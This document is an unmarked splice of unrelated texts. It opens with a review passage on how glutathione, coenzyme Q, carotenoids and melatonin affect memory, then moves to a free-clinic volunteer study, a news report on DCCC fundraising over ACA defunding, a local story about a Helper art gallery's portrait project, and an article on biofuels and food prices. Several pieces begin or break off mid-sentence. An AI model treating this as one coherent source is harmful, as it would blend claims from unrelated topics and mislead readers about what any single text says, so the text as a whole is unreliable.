paired-pulse facilitation, indicating that low GSH content can impair short- and long-term forms of synaptic plasticity (11). The effect of GSH depletion in the presence of dopamine, which is a potent pro-oxidant, was studied by inducing GSH depletion in rats by injecting buthionine sulfoximide (BSO) either before or after dopamine administration, and then assessing the spatial memory of rats using the Morris water maze. These investigators found that GSH depletion before the oxidant insult introduced by dopamine led to significant impairments in memory, indicating that GSH is a necessary component of the antioxidant machinery dedicated to maintain a healthy balance of free radicals necessary for proper memory function (389). A specific role for GSH in the acquisition, but not retention, of spatial memory in maze tasks was demonstrated by inducing GSH depletion in rats with systemic diethylmaleate injections and then examining metabolism and cognitive performance in the passive avoidance and Morris water maze tests. These studies showed that GSH depletion resulted in reduced levels of GSH and GPx activity in the hippocampus. It also resulted in reduced acquisition of spatial memory when the drug was administered before training, but did not affect retention of already acquired memory when the drug was administered after memory acquisition (94). More complex assessments of spatial and working memory were performed after transitory GSH depletion by BSO injection in either young normal or mutant rats (osteogenic disorder Shionogi [ODS]—incapable of synthesizing ascorbate). Ascorbate is known to compensate for GSH depletion, and therefore the ODS group served to dissect the direct effect of GSH on cognitive abilities. BSO-ODS rats exhibited impaired spatial memory whether they were tested at a young age, immediately after GSH restoration to physiological levels, or at an older age, long after treatment cessation. In contrast, BSO-normal rats did not exhibit memory impairments at an early age, possibly due to ascorbate compensation, but they did exhibit selective spatial memory impairments at an advanced age when the task required integration of multimodal cues, such as visual and olfactory cues. Although the results of this study were exclusively discussed in the context of schizophrenia, they clearly show that GSH depletion causes complex behavioral impairments associated with increased brain oxidative stress (70). In a more recent study, GSH depletion was induced with 2-cyclohexene-1-one both in rats and mice and then their memory was assessed in the Y-maze test. In both species, GSH depletion caused a significant impairment in short-term spatial recognition memory, suggesting that GSH is necessary for proper spatial memory function, possibly explaining its involvement in psychiatric diseases such as schizophrenia (104). Collectively, these studies outline an important role for GSH in spatial memory formation. On a related note, administration of reduced GSH into the antennal lobes of honeybees prevented oxidative stress-induced impairments in olfactory learning and memory (125), indicating that GSH plays a critical role in learning not only in mammals, but also in invertebrates.
4. Coenzyme Q Coenzyme Q, also known as coenzyme Q10, ubiquinone, ubidecarenone, or simply Q, is a benzoquinone found in most eukaryotic cells, primarily in the mitochondria. It participates in the electron transport chain in its capacity of electron acceptor/donor and essentially functions as an electron transferring molecule (426) ( ). Electron transferring ability means that coenzyme Q can act as an antioxidant. Because of this antioxidant ability, coenzyme Q is widely used as a dietary supplement taken to enhance bioenergetics and ameliorate all side effects of increased oxidative stress during aging and a multitude of pathological conditions. Coenzyme Q has been explored as a therapeutic avenue for heart failure (327), mitochondrial dysfunction (160), migraine headaches (47), and neurodegenerative disorders associated with cognitive dysfunction (39). Idebenone, a benzoquinone commercially marketed as a synthetic analog of ubiquinone, also has been extensively studied for its antioxidant properties. We review here the role of both in learning and memory mechanisms. A general statement that seems to be true of the involvement of quinone in learning and memory is that these compounds do not really affect cognitive abilities under physiological conditions, but rather improve cognitive dysfunction induced by a variety of pathological conditions. One study of the late 1980s directly linked quinones to synaptic plasticity by determining a role for idebenone in enhancing LTP in hippocampal slices (196). Two different concentrations of ubiquinone were tested on several physiological functions that are known to be impaired during aging, including cognitive dysfunction. These investigators supplemented their mice with coenzyme Q at a young age and then assessed their spatial learning and memory at several age points. Although the amount of ubiquinones was increased in the cerebral cortex of treated mice, the low dose treatment did not alter ubiquinone levels. Surprisingly, at higher doses, age-related decreases in learning and memory were made worse, indicating that low coenzyme Q levels had no discernable impact on cognitive dysfunction, whereas higher levels impaired cognitive function (403). These results suggest that under physiological conditions ubiquinone supplementation is not beneficial, but rather can be detrimental to memory. In a similar study investigating the role of coenzyme Q, vitamin E, or both on brain function of aged mice, it was observed that only mice treated with both coenzyme Q and vitamin E exhibited memory improvements (281). Similar experiments with higher doses of coenzyme Q were conducted, and unlike the previous study, there was no adverse effect on memory. On the other hand, the investigators also did not observe any memory improvements. They concluded that coenzyme Q is only beneficial for memory when paired with vitamin E, perhaps because they work in concert, possibly via mutual regeneration of antioxidant function (281). Similar to previous studies, rats fed a ubiquinone-rich diet did not exhibit improvement in the early stages of the Morris water maze test, but did exhibit improvements in the later stages of the test (312). After hyperoxia to induce oxidative stress, rats fed coenzyme Q showed improved memory function over control rats. Repeating the same studies in vitamin E-deficient rats or rats supplemented with vitamin E showed the same pattern of improvement and indicated no synergistic effect of coenzyme Q with vitamin E (312), in contrast to previous studies that demonstrated that coenzyme Q can regenerate the antioxidant powers of vitamin E (281). Two other conditions in which ubiquinones proved to be beneficial for learning and memory were after ischemia and scopolamine-induced amnesia, which was studied in the context of cholinergic dysfunction during AD. Idebenone ameliorated memory impairment induced by cerebral vascular disturbance in rats. More specifically, the authors demonstrated that idebenone treatment after the acquisition trial of passive avoidance learning caused shortening in the latencies of the retention test trial, that is, idebenone reversed the retrograde amnesia caused by cerebral ischemia (453). In a different study, in embolized rats, idebenone improved learning and memory abilities in the radial arm test (227), as well as passive avoidance test (226), indicating that quinones have a positive effect on learning impairments caused by brain hypofunction. Perhaps the largest body of literature investigating the effect of quinones in the mechanisms governing memory function is in studies related to AD (AD). Idebenone has long been investigated as a possible therapy for AD with mild, but generally positive, results, suggesting that quinones are involved in preserving the oxidant balance necessary for proper cognitive function. Several groups have studied scopolamine-induced amnesia, which induces deficits in the cholinergic system as seen in AD patients. Idebenone treatment improved scopolamine-induced spatial memory deficits (256) and working memory deficits (452). Using a delayed alternation task in rats, it was shown that idebenone treatment improved short-term memory dysfunction induced by scopolamine, but it did not alter memory in control rats (454). These observations were extended to a serotonin-deficient rat model, where idebenone improved the retardation of discrimination learning induced by central serotonergic dysfunction (455). Because nerve growth factor (NGF) is necessary for the maintenance of cholinergic neurons, its depletion mimics cholinergic deficiency as observed in AD. Unfortunately, NGF cannot be used directly as a therapy because of its inability to cross the blood brain barrier. However, idebenone administration stimulated NGF synthesis in vivo, resulting in an amelioration of the behavioral deficits induced by lesions in the basal forebrain cholinergic system. In these studies, idebenone was beneficial as an NGF stimulator rather than as an antioxidant (307). An interesting question in the AD field is whether oxidative stress contributes to learning and memory deficits caused by Aβ42. Rats given continuous intracerebroventricular infusion of Aβ42 were treated with either idebenone or vitamin E and then their memory was assessed in the Y-maze, the Morris water maze, and the passive avoidance test. It was observed that both idebenone and vitamin E improved the performance of the Aβ42-treated rats in the Y-maze and Morris water maze, but not in the passive avoidance test (451). These results suggest that quinones might be effective antioxidants to improve learning and memory deficits associated with AD. Finally, streptozotocin (STZ)-treated rats display markers of oxidative damage (increases in thiobarbituric reactive substance, GSH, protein carbonyls, and the activities of the GSH peroxidase and reductase enzymes) and a decline in the level of ATP in the hippocampus and cerebral cortex. Supplementing STZ-infused rats with coenzyme Q reversed all the aforementioned markers, indicating that ubiquinone has neuroprotective effects on cognitive impairments and oxidative damage associated with STZ toxicity (197). In a multicenter, randomized, double-blind, placebo-controlled study in AD patients, treatment with idebenone was effective in delaying memory impairments associated with AD, with no significant side effects (42). In a more recent study, treatment of AD patients with idebenone in the predementia stage resulted in short- and long-term memory improvements in 37% of the patients (427). On a concluding note, although the precise mechanism of action of ubiquinone remains unknown and it does not appear to alter learning and memory under normal physiological conditions (147), it appears to play a central role as an antioxidant molecule involved in restoring the redox balance necessary for improvement of cognitive dysfunction associated with a multitude of pathological conditions, especially AD.
5. Carotenoids Carotenoids are phytochemicals produced in plants, with β-carotene and lycopene being the most investigated (321). Many epidemiologic studies have made the association of high dietary carotenoid intake with a lower incidence of chronic disease, but the biological mechanisms underlying such protection are not understood. There are several theories that have been put forward to explain the protective effect of carotenoids (321): (a) they can be converted to retinoids and thus acquire pro-vitamin A activity, (b) they can act as potent antioxidants, (c) they can modulate the function of lipooxygenases, and (d) they can modulate expression of genes involved in cell–cell interactions. In the interest of this review, we will focus on the role of carotenoids as antioxidants with an emphasis on their involvement in the regulation of learning and memory. The antioxidant properties of carotenoids lie in their ability to physically quench singlet oxygen and to trap peroxyl radicals. Singlet oxygen is not a free radical but it has electrons in an excited state that may adversely affect molecules containing double bonds. Carotenoids are the most effective singlet oxygen quenchers (109), which results in the formation of excited carotenoids. The excited carotenoids have the capacity to rapidly dissipate newly acquired energy through a series of rotational and vibrational interactions with the solvent, resulting in regeneration of the unexcited carotenoid that can be reused for further cycles of singlet oxygen quenching (67). Several carotenoids, with β-carotene in particular, have the capability of scavenging peroxyl radicals by the formation of a transitory carotenoid adduct radical (67). This radical is highly stable and undergoes decay to a nonradical species, thereby terminating the actions of harmful peroxyl radicals. This latter process destroys carotenoids (442). The antioxidant properties of carotenoids vary depending on the system being used to study them as well as the concentration used. For example, carotenoids can protect cells against oxidant-induced lipid peroxidation in a pro-vitamin A-independent fashion (275). In transformed thymocytes, carotenoids act as potent antioxidants when oxygen tension is low, but turn into pro-oxidants when oxygen tension is high (324). In addition, supraphysiological concentrations of carotenoids may result in pro-oxidative effects (145). These pro-oxidative effects can be prevented by the coadministration of other antioxidants such as vitamin E (323). Many clinical studies have been undertaken to assess the antioxidant ability of carotenoids and produced conflicting results. It was demonstrated that a diet deficient in carotenoids, but otherwise adequate for all other nutrients, resulted in diminished markers of antioxidant capacity in the blood (315). Conversely, supplementing the diet with β-carotene has been shown to increase plasma levels of antioxidant molecules (288). In one study using the oxygen radical absorbance capacity test, no positive role for carotenoids on plasma levels of antioxidants was demonstrated (76). Another report supported this finding by showing that there was no effect of carotenoids on the total antioxidant capacity of the plasma (58). The differences in results between these studies could be due to either different types of supplementation or different age groups and genders of the study individuals. Humans have the capacity to absorb intact carotenoids from the intestines; however, such absorption may differ depending on the type of supplementation offered (within the food as opposed to capsules). Certain forms may be more readily bioavailable than others. For example, lycopene has been shown to be better extracted from heated tomatoes as opposed to raw ones (395). Thus, special care should be put into selecting the right concentrations and form of carotenoids for each particular study setting. Carotenoids have been investigated as an antioxidant in various pathological conditions associated with learning and memory dysfunction. One carotenoid, retinoic acid (an essential growth factor derived from vitamin A), has been extensively studied for its modulation of the signaling events involved in learning and memory. In fact, retinoic acid activates gene transcription through nuclear receptors, thereby influencing LTP and neurogenesis, particularly in the hippocampus (279, 293). This suggests a role for retinoic acid in learning and memory processes, but it appears to be distinct from the ability of carotenoids to act as antioxidants. Because this review is dedicated to the redox regulation of memory mechanisms, we will limit the discussion in this section to studies specifically addressing the antioxidant function of carotenoids. A number of epidemiological studies have been undertaken to assess the association between carotenoid levels and either age- or disease-related declines in cognitive function. With the exception of one study, which delineated a pro-oxidant effect of vitamin A in the substantia nigra and striatum at clinical doses (103), all of the other studies showed either neutral or positive correlations with cognitive dysfunction. Engelhart et al. examined whether high plasma levels of vitamins A and E together were associated with lower prevalence of cognitive decline. They performed a cross-sectional study within another AD study and found that if a univariate model was used, high plasma vitamin A and E could be correlated to lower cognitive decline. However, when adjustments were made with respect to age, gender, and total cholesterol, the correlation weakened, and it was concluded that there was no association between plasma levels of vitamin A and E and cognitive decline (122). The same question was examined in a cohort of elderly woman and no correlation between plasma carotenoids and tocopherols and cognitive deficits was observed (206). The same group explored the effect of β-carotene supplementation on cognitive function in men and found that short-term supplementation (mean duration of 1 year) did not affect cognition, whereas long-term supplementation (mean duration of 18 years) provided cognitive benefits (156). The latter study illustrates that careful consideration should be given to every study parameter (such as treatment duration) before conclusions can be drawn. Five additional studies have described beneficial effects of carotenoids on cognitive deficits. The interaction between carotenoids and the AD susceptibility gene apolipoprotein E was investigated and it was found that among high-functioning older persons, β-carotene supplementation offered protection from cognitive decline, even in persons with greater susceptibility evidenced by the presence of the APO-E4 allele (191). The relationship between plasma carotenoid levels and the MMSE was examined and it was found that lower levels of carotenoids correlated with cognitive impairments (7). As part of the cache county study, high antioxidant intake from food combined with supplementation with vitamin E, vitamin C, and carotene may delay cognitive decline in the elderly (438). Although this study did not dissect a specific role for carotenoids in this protection, it did suggest that carotene is potentially a beneficial antioxidant involved in protection of cognitive abilities. In addition, a significant association between higher carotenoid levels and docosahexanoic acid with higher MMSE scores has been reported, supporting a protective role for both nutrients in aging and AD-related cognitive impairments (433). Finally, the involvement of lycopene in diabetes-associated cognitive decline in rats was examined, and this particular carotenoid has a significant therapeutic potential in diabetes-induced learning and memory impairments (235). A large body of research has centered on the interesting and widely beneficial effects of a naturally occurring carotenoid chemical called crocin. Crocin is found in the flower Crocus sativus L., more commonly known as saffron. Crocin is the ingredient primarily responsible for the color of saffron. It is a diester formed from a disaccharide (gentiobiose) and the dicarboxylic acid crocetin. Aside from being a potent antioxidant (311, 465), it also has been reported to have anticarcinogenic (1, 88), antidepressant (8), and aphrodisiac properties (184). Given its potent antioxidant capacity, a role for crocin in modulating learning and memory has been proposed. Recent behavioral and electrophysiological studies have shown a beneficial effect of crocin on ethanol-induced LTP deficits and learning and memory impairments. In several separate studies, Saito and associates have demonstrated that crocin can prevent ethanol-induced impairment of hippocampal synaptic plasticity, both in vitro in rat slices (401) and in vivo in anesthetized rats (400). They further investigated the underlying mechanism of these effects and found that crocin specifically antagonized the inhibitory effect of ethanol on NMDA receptor-mediated responses in hippocampal neurons (2). Using the same ethanol-induced impairment model, they also demonstrated that although crocin had no effects on memory registration, consolidation, or retrieval in normal mice, it did improve the ethanol-induced impairments of memory function in all of its constituents (461). In a more recent study (333), crocin counteracted delay-dependent recognition memory deficits in the normal rat, suggesting that this carotenoid can modulate storage and/or retrieval of information. It also attenuated scopolamine-induced spatial memory deficits in the radial arm maze. This study not only demonstrated the beneficial effect of crocin on learning and memory impairments induced by ethanol, but it also suggested that crocin is a compound that can modulate the mechanisms underlying normal recognition and spatial memory (333). In conclusion, although carotenoids have well-documented antioxidant effects, there continues to be a great deal of uncertainty as to their beneficial role in the mechanisms underlying learning and memory deficits. Depending on the conditions of their use (administration, absorption, duration of administration, etc.), carotenoids appear to offer protection against learning and memory deficits associated with physiological aging as well as a multitude of pathological conditions. The mechanism responsible for the beneficial effects of carotenoids on cognitive function remains to be elucidated.
6. Melatonin Melatonin is primarily a pineal hormone derived from its precursor serotonin. Its main function is in sleep cycle regulation. Melatonin also is a very powerful scavenger of hydroxyl radicals, making it a potent antioxidant molecule (168). Unlike vitamin C and GSH, which are only effective in aqueous phase, and vitamin E, which is only effective in lipid phase, melatonin can be functional in both phases (412). Melatonin also easily crosses cell membranes and the blood–brain barrier (360), making it a powerful candidate for protecting nuclear and mitochondrial DNA and the central nervous system from damage induced by oxidative stress (359). Many biological effects of melatonin are produced through activation of melatonin receptors (61), so it is important to distinguish its action as an antioxidant on learning and memory. The discovery of melatonin as an antioxidant was made in 1993 (412). Melatonin is a direct scavenger of hydroxyl and peroxyl radicals. It can also neutralize superoxide, singlet oxygen, H 2 O 2, and hypochlorous acid (335). Melatonin also inhibits peroxynitrite formation by inhibiting NOS in brain tissue (245). Melatonin differs from other antioxidants in two important aspects. First, melatonin does not undergo redox cycling; that is, once oxidized, it cannot be regenerated to its reduced form. This happens because melatonin forms stable intermediates upon reacting with free radicals, which makes it a terminal antioxidant (410). Second, the antioxidant action of melatonin involves the donation of two electrons, not one electron, thereby ensuring that melatonin does not become a free radical in the process (410). Melatonin is a much more potent antioxidant than many traditionally used antioxidants. For example, it is twice as effective as vitamin E in protecting cell membranes from lipid peroxidation (330), five times more potent than GSH in scavenging hydroxyl radicals (331), and 60 times more effective than vitamins C and E in providing DNA protection (345). Besides its own ability to scavenge a variety of free radicals, several of its metabolites are themselves potent antioxidants (361, 411). Melatonin can also boost expression and/or activity of other antioxidants, most notably GSH peroxidase (up to eightfold increase), SOD, and catalase (233, 276). Because the brain has lower GSH concentrations than other organs (164), melatonin plays a particularly important antioxidant role in the central nervous system. In fact, melatonin receptors have been shown to play an important role in the mechanisms of learning and memory in mice (242), and melatonin has been shown to alter the cellular processes associated with memory, such as LTP. a. Melatonin and LTP Using rat hippocampal slices, it was shown that melatonin (100 μM) has the ability to block the induction of LTP in an NMDA receptor-independent manner (92). In addition, in studies in the suprachiasmatic nucleus, melatonin prevented LTP induction via an inhibitory effect on CaMKII autophosphorylation (139). Moreover, a specific role for the circadian clock, and therefore melatonin levels, in modulating synaptic plasticity in the hippocampus has been demonstrated (81). Another group showed that melatonin inhibits hippocampal LTP via a mechanism involving MT2-receptor-mediated regulation of the adenylyl cyclase-cAMP-PKA pathway (430). Finally, it has been reported that melatonin significantly alters synaptic transmission and LTP in area CA1, but has only modest actions in area CA3 in mouse hippocampal slices (318). Taken together, these findings suggest that melatonin inhibits hippocampal LTP. In addition to its impact on hippocampal synaptic plasticity, melatonin was shown to prevent the induction of neocortical LTP and impair spatial performance in the radial maze (393). Neonatal rats given low doses of melatonin exhibited impaired hippocampal LTP and displayed learning and memory deficits. Melatonin also exacerbated LTP impairments as well as learning and memory deficits induced by lead (77). Finally, in a study designed to assess if dark rearing (i.e., high levels of melatonin) affects hippocampal synaptic plasticity, melatonin administered early postnatally prevents the induction of LTP (408). There seems to be a consensus that melatonin inhibits LTP induction. This may seem surprising as it might be expected that an antioxidant should improve cognition rather than making it worse. However, these studies (77, 92, 139, 318, 393, 408, 430) were performed in the absence of excessive oxidative stress. Going back to the first part of this review, we described numerous studies indicating that ROS are important signaling molecules necessary for proper LTP induction, and therefore scavenging radicals with melatonin likely explains the detrimental effects of melatonin on synaptic plasticity. b. Melatonin and learning and memory Similar to what has been observed in LTP studies, behavioral studies indicate that melatonin has a detrimental effect on learning and memory performance (242, 355, 375, 466). On the other hand, in studies performed under situations of oxidative stress, the effect of melatonin on learning and memory deficits is for the most part positive. This is consistent with the idea that melatonin quenches bad ROS under stress situations to produce a positive effect on learning and memory. The studies describing the beneficial effects of melatonin and memory function can be largely classified in four major subcategories, depending on the pathological condition causing the oxidative stress-induced learning and memory deficits: Alzheimer's disease, alcohol poisoning, excitotoxicity/trauma/ischemia, and other oxidative stress conditions. 1. Alzheimer's disease The effect of melatonin on AD-related decreases in learning and memory function has been studied using multiple animal models of the disease and various types of behavioral tests, as well as measurements of oxidative stress markers. These animal models include intracerebroventricular injections of either STZ (377, 379) or amyloid β peptides (381–383), transgenic APP695 mice (128, 144), transgenic APP/PS1 mice (314), and scopolamine-induced cognitive dysfunction (6). Behavioral tests included passive avoidance (6, 128, 379, 382), shuttle box (382), water maze (144, 253, 314, 381–383), open field activity (144, 314), radial arm water maze (314), Y maze (314), elevated plus maze (314), and circular platform (314). Oxidative stress markers included malondialdehyde (379), GSH (379, 383), lipid peroxidation (383), SOD (253, 314, 383), choline acetyltransferase activity (128), acetylcholinesterase (6), GPx (314), catalase (314), MAO (253), and ER stress-related proteins including BiP/GRP78 and CHOP/GADD153 (253). With the exception of one study (413), all studies uniformly showed that melatonin has a positive effect on memory performance and affords protection against oxidative stress-induced damage associated with AD. 2. Alcohol poisoning It has been shown that either aged or chronic ethanol-treated mice exhibit poor retention of memory in step-down passive avoidance and in elevated plus-maze task (352). Chronic melatonin treatment reversed cognitive deficits in aged and ethanol-intoxicated mice, but failed to modulate the retention performance of young mice, both effects being consistent with the antioxidant properties of melatonin (352). In another study of the effect of melatonin supplementation on chronic ethanol-induced learning and memory dysfunctions and markers of oxidative stress (37), it was found that melatonin significantly reduced lipid peroxidation and elevated GSH levels with a concomitant improvement in learning (Morris water maze and passive avoidance) that was more substantial in older as opposed to younger rats (37). The effects of melatonin on acute ethanol-induced increases in oxidative stress (lipid peroxidation, GPx, SOD) and impairments in learning and memory (Morris water maze) have been studied. These investigators found that melatonin reversed increases in the markers of oxidative stress without a significant effect on spatial memory (148). Surprisingly, in this study melatonin alone had a positive effect on water maze performance (148). 3. Excitotoxicity/trauma/ischemia Trauma and excitotoxi-city induce cognitive dysfunction resulting from hippocampal damage. Melatonin exhibited a protective effect against head trauma-induced hippocampal damage and spatial memory deficits in immature rats (319). It also prevented learning disabilities associated with ibotenate (a glutamate analog)-induced excitotoxicity (60). During ischemia and cerebral hypoperfusion, melatonin plays a similar protective role (100, 246), highlighting its important antioxidant protective role against learning and memory deficits induced by oxidative stress. 4. Other Melatonin reversed oxidative stress and improved the learning and memory deficits induced by either ovariectomy (129, 130) or hyperhomocysteinemia (34, 35) in adult rats. Melatonin also reduced memory impairments and oxidative damage in mouse models of senescence (85, 384) and diabetes (421). Lastly, melatonin improved stress-related declines in learning and memory (363), as well as deficits associated with exposure to the neurotoxic industrial solvent thinner (36). In conclusion, melatonin is a potent antioxidant that shows significant positive effects on learning and memory performance under oxidative stress conditions. Its negative effects on learning and memory under normal physiological conditions recapitulate a recurring theme in this review: ROS are important signaling molecules for synaptic plasticity, and therefore quenching balanced physiological levels of ROS may lead to detrimental rather than beneficial effects with respect to memory function. Moreover, care should be taken in selecting the proper concentration for treatment as it has been shown that blood concentrations which are 10 times normal levels can cleave heme molecules to liberate iron and induce oxidative stress (89). Even higher levels of melatonin concentrations can deplete reduced glutathione levels and promote fas-induced cell death (440).Introduction: Free clinics provide an array of medical services at little or no cost to low-income, uninsured individuals in the United States and often rely heavily on volunteers to offer healthcare services for free or at reduced fees. The purpose of this study is to explore volunteering experiences at a community free clinic. Methods: Five focus groups were conducted at a free clinic with volunteers of the clinic (N=28) in September-November in 2016. Thematic analysis was performed to identify themes in issues relating to health, most urgent health issues, and ways to improve services for the underserved populations. Results: Volunteers felt more aware of the experiences of the medically underserved after spending time at the free clinic. Volunteer opportunities such as this could be valuable for those entering the medical profession because of the exposure to an important and overlooked population. Free clinic volunteers need to be able to help in many different areas because of the nature of this type of medical setting. Being properly trained will increase volunteers’ comfort with the clinic and may improve volunteer retention. Connecting with patients and seeing them get their healthcare needs met was listed as one of the most positive parts of the volunteer experience. Discussion: Free clinics allow volunteers to gain educational and professional experiences while assisting in the provision of medical care for underserved populations. It is necessary to develop effective training programs for volunteers in order to maximize the benefits they can bring both to the clinic and the volunteers. Conclusion: Volunteering at free clinics benefits both the community and the volunteers personally as they develop greater understanding of issues facing underserved populations. Since free clinics rely on volunteers, further research on volunteering at free clinics is necessary to improve quality and quantity of free clinic volunteers.
Keywords
Free clinics; Volunteers; Motivations; Outcomes; USA
Introduction
Volunteers provide a wide variety of essential services in health care settings, from patient care to administrative assistance. Many volunteers in the healthcare field are skillsbased volunteers, providing skilled services at hospitals or clinics in an effort to improve the quality of life of the individuals in those setting [1]. In the healthcare field, people tend to seek volunteer opportunities to gain work-related experiences [2]. More hospitals than ever before are utilizing volunteers for “profession and support services, governance and fund-raising” [2].
Free clinics provide an array of medical services at little or no cost to low-income, uninsured individuals in the United States (US) and often rely heavily on volunteers to provide services to vulnerable populations [3,4]. However, free clinics often experience uncertainty in funding sources and need to consistently fundraise to keep services and programs active [3]. While volunteers provide many services free clinics offer, there are few studies on volunteers’ experiences in this environment. The majority of studies on volunteering at free clinics have been conducted at student-run free clinics and focused on the impact of free clinic volunteer experiences on medical or health profession education [5,6]. More information about volunteering at free clinics, especially at non-student-run free clinics, is needed in order to better understand the types of experiences free clinic volunteers have, how they are utilized by these clinics and how free clinics can better train and equip their volunteers to improve patient outcomes. Thus, the purpose of this study is to explore volunteering experiences at a community free clinic.
Studying volunteerism from a sociological perspective focuses on volunteering as a social phenomenon, and seeks to bring into focus why individuals volunteer [7]. Volunteer participation is viewed through a socio-economic and cultural aspect [7]. The socio-economic aspect delves into the reasons for including volunteering into a lifestyle or excluding it from one’s lifestyle, while cultural aspects explore how different cultures view the importance of volunteering as viewed by society [7]. Volunteers are motivated by the opportunity to learn new skills, prepare for a future career, or become involved in |
raised more than $840,000 in online contributions since House Speaker John Boehner (R-Ohio) announced last week that Republicans would include a measure to strip funding from the Affordable Care Act in a continuing resolution to fund the federal government.
The House Democratic party committee launched an online petition and blasted its large list of supporters for contributions to fight back against House Republicans immediately after Boehner's Tuesday announcement.
The DCCC's blast emails attacked House Republicans' "extortion tactics" and their "complete cave to Tea Party Republicans." Supporters were asked to donate $3 to the DCCC's ObamaCare Rapid Response Fund.
By Sunday morning, two days after Republicans successfully passed a continuing budget resolution that would defund the health care law, the petition had more than 1 million signatures and the committee received 46,000 online donations, according to a DCCC aide. The average donation was $18.
“From the moment John Boehner and House Republicans announced that they would put this country on a path to shutdown -- all so they could give insurance companies free rein, our grassroots supporters jumped into action," DCCC press secretary Emily Bittner said in a statement. "Every time House Republicans demonstrate their priorities -- protecting the wealthy, padding health insurance profits and forcing the middle class to pay more -- our grassroots steps up.”
In the past two months, Republican groups have done their own fundraising off their push to defund President Barack Obama's signature health care reform law. The Senate Conservatives Fund, a political action committee tied to Heritage Foundation president and former South Carolina Senator Jim DeMint, had its best off-election year fundraising month ever in August while running its "Don't Fund Obamacare" website.
This week's fundraising swell for the DCCC is comparable to two of its best online fundraising spurts in recent memory: the unveiling of the budget presented by Rep. Paul Ryan (R-Wis.), and the week Ryan was announced as Republican presidential candidate Mitt Romney's running mate.Kate Kilpatrick-Miller, alongside Karen Jobe Templeton, recently celebrated the opening of their gallery on Helper’s Main Street, aptly named K2 Gallery. Since the recent opening, the pair have already put forth hard work to showcase their unique talents.
Kilpatrick-Miller’s latest project is “The Faces of Helper.” Kilpatrick-Miller first thought of this project when she had dinner with Rich and Becky Columbo. Rich began telling her about his grandfather and how he and a close friend lived in a cave for a year in order to raise the money to bring their families to the United States from Italy. That, along with other stories that were told, gave her the idea to showcase all those that are unique in Helper.
“Where do you find stories like that other than a small town?” Kilpatrick-Miller stated.
From there, Kilpatrick-Miller began speaking with others to collect stories. Along with the help of people such as Mark Montoya and Michelle Goldsmith, Kilpatrick-Miller compiled a list that currently boasts 140 people to showcase. It is predicted that this project will be a four-year project.
Kilpatrick-Miller also stated that she is digitally recording the stories that she hears and plans to place all of the installments in a book that will include the stories as well as the portraits. She believes that Helper has a diverse, fun history and this is a way to do what she loves, which is paint, as well as capture the history.
When prompted to choose a favorite part of taking on the project thus far, Kilpatrick-Miller stated that she has enjoyed getting to know the people and hearing the stories. She has lived in Helper for nearly six years and was introduced to oil paints at age ten. While she always had a passion for painting, life “got in the way for a while”. After choosing to let go of her work in litigation support and move to Helper, she found her way to her passion once more.
Kilpatrick-Miller stated that a big reason for creating the exhibit is that there is a beauty in Helper’s history.
“We should respect and share that history; keep a hold of it. I think it’s easy to become bland and I want that not to happen for our community,” Kilpatrick-Miller stated.
She anticipates having the next “The Faces of Helper” line-up in June. The first installment of this exhibit will be debuted at K2 Gallery, located at 102 South on Helper’s Historic Main Street, on Friday, Dec. 15 beginning at 7 p.m. This installment, which features more than 20 faces who have shaped Helper, will be available to view for a number of weeks.
While touring the gallery is free of charge, the paintings will be available for purchase if so desired. Light refreshments will be served.
Helper residents that will be featured in the first installment include the following:
Matt Kloefer
BettyJo Kloefer
Jay and Phyllis Sillitoe
Al Hughes
Michelle Goldsmith
Netta Burton
Rufus Ellington
Marcella Montoya
Mark Montoya
Rich Columbo
Rosaline Fenn
Mary Chidester
Mike O’Shea
Ed Callor
Greg Payne
Morgan Nelson
Lois Giordano
Tom Paluso
Frank Maglioko
Jean Boyack
Jeff Gacaletto
Jim Pugliese
Sherline RicheThat growth, much faster over the last four years than the historical norm, is lifting millions of people out of destitution and giving them access to better diets. But farmers are having trouble keeping up with the surge in demand.
While there is agreement that the growth of biofuels has contributed to higher food prices, the amount is disputed.
Work by the International Food Policy Research Institute in Washington suggests that biofuel production accounts for a quarter to a third of the recent increase in global commodity prices. The Food and Agriculture Organization of the United Nations predicted late last year that biofuel production, assuming that current mandates continue, would increase food costs by 10 to 15 percent.
Ethanol supporters maintain that any increase caused by biofuels is relatively small and that energy costs and soaring demand for meat in developing countries have had a greater impact. “There’s no question that they are a factor, but they are really a smaller factor than other things that are driving up prices,” said Ron Litterer, an Iowa farmer who is president of the National Corn Growers Association.
He said biofuels were an “easy culprit to blame” because their popularity had grown so rapidly in the last two or three years.
Senator Charles E. Grassley, Republican of Iowa, called the recent criticism of ethanol by foreign officials “a big joke.” He questioned why they were not also blaming a drought in Australia that reduced the wheat crop and the growing demand for meat in China and India.
“You make ethanol out of corn,” he said. “I bet if I set a bushel of corn in front of any of those delegates, not one of them would eat it.”
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The senator’s comments reflect a political reality in Washington that despite the criticism from abroad, support for ethanol remains solid.
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Representative Jim McGovern, Democrat of Massachusetts, said he had come to realize that Congress made a mistake in backing biofuels, not anticipating the impact on food costs. He said Congress needed to reconsider its policy, though he acknowledged that would be difficult.
“If there was a secret vote, there is a pretty large number of people who would like to reassess what we are doing,” he said.
According to the World Bank, global food prices have increased by 83 percent in the last three years. Rice, a staple food for nearly half the world’s population, has been a particular focus of concern in recent weeks, with spiraling prices prompting several countries to impose drastic limits on exports as they try to protect domestic consumers.
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While grocery prices in the United States increased about 5 percent over all in the last year, some essential items like eggs and milk have jumped far more. The federal government is expected to release new data on domestic food prices Wednesday, with notable increases expected.
On Monday, President Bush ordered that $200 million in emergency food aid be made available to “meet unanticipated food aid needs in Africa and elsewhere,” a White House statement said.
His spokeswoman, Dana M. Perino, said the president had urged officials to look for additional ways to help poor nations combat food insecurity and to come up with a long-term plan “that helps take care of the world’s poor and hungry.”
Skeptics have long questioned the value of diverting food crops for fuel, and the grocery and live- stock industries vehemently opposed an energy bill last fall, arguing it was driving up costs.
A fifth of the nation’s corn crop is now used to brew ethanol for motor fuel, and as farmers have planted more corn, they have cut acreage of other crops, particularly soybeans. That, in turn, has contributed to a global shortfall of cooking oil.
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Spreading global dissatisfaction in recent months has intensified the food-versus-fuel debate. Last Friday, a European environment advisory panel urged the European Union to suspend its goal of having 10 percent of transportation fuel made from biofuels by 2020. Europe’s well-meaning rush to biofuels, the scientists concluded, had created a variety of harmful ripple effects, including deforestation in Southeast Asia and higher prices for grain.
Even if biofuels are not the primary reason for the increase in food costs, some experts say it is one area where a reversal of government policy could help take pressure off food prices.
C. Ford Runge, an economist at the University of Minnesota, said it is “extremely difficult to disentangle” the effect of biofuels on food costs. Nevertheless, he said there was little that could be done to mitigate the effect of droughts and the growing appetite for protein in developing countries.
